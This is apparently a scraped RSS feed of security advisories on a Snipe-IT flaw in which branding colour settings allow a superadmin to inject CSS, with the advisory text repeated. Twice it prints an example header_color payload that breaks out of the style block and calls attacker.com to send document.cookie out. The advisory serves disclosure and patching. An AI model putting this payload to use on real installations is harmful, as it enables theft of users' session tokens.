https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 19 Oct 2026 16:24:40 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-336434 EUVD-2026-336434 https://cve.radiocsirt.org/vuln/euvd-2026-336434 https://cve.radiocsirt.org/vuln/fkie_cve-2026-55481 <p>Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders header_color and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.</p> <p>Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders header_color and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-55481 https://cve.radiocsirt.org/vuln/ghsa-w7qw-5wfv-gwx9 <p><strong>Affected:</strong> Packagist: snipe/snipe-it</p> <p>### Impact</p> <p>Because `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.</p> <p>Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.</p> <p>### Details The `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `&lt;style&gt;` block using Laravel&#39;s `{{ }}` syntax:</p> <p>``` --main-theme-color: {{ $snipeSettings-&gt;header_color ?? &#39;#3c8dbc&#39; }}; ```</p> <p>Although `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings &gt; Branding` page can inject arbitrary CSS by setting the `header_color` value to something like:</p> <p>``` #fff; } body { background: url(&#39;[https://attacker.com/exfil?c=&#39;+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x { ```</p> <p>This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user&#39;s browser on every page load.</p> <p>### Patches Patched in https://github.com/grokability/snipe-it/pull/19097</p> <p>### Workarounds Enable CSP in your .env file.</p> <p><strong>Affected:</strong> Packagist: snipe/snipe-it</p> <p>### Impact</p> <p>Because `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.</p> <p>Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.</p> <p>### Details The `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `&lt;style&gt;` block using Laravel&#39;s `{{ }}` syntax:</p> <p>``` --main-theme-color: {{ $snipeSettings-&gt;header_color ?? &#39;#3c8dbc&#39; }}; ```</p> <p>Although `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings &gt; Branding` page can inject arbitrary CSS by setting the `header_color` value to something like:</p> <p>``` #fff; } body { background: url(&#39;[https://attacker.com/exfil?c=&#39;+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x { ```</p> <p>This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user&#39;s browser on every page load.</p> <p>### Patches Patched in https://github.com/grokability/snipe-it/pull/19097</p> <p>### Workarounds Enable CSP in your .env file.</p> https://cve.radiocsirt.org/vuln/ghsa-w7qw-5wfv-gwx9 https://cve.radiocsirt.org/vuln/wid-sec-w-2026-2144 <p>Ein Angreifer kann eine Schwachstelle in Snipe-IT ausnutzen, um Informationen offenzulegen.</p> <p>Ein Angreifer kann eine Schwachstelle in Snipe-IT ausnutzen, um Informationen offenzulegen.</p> https://cve.radiocsirt.org/vuln/wid-sec-w-2026-2144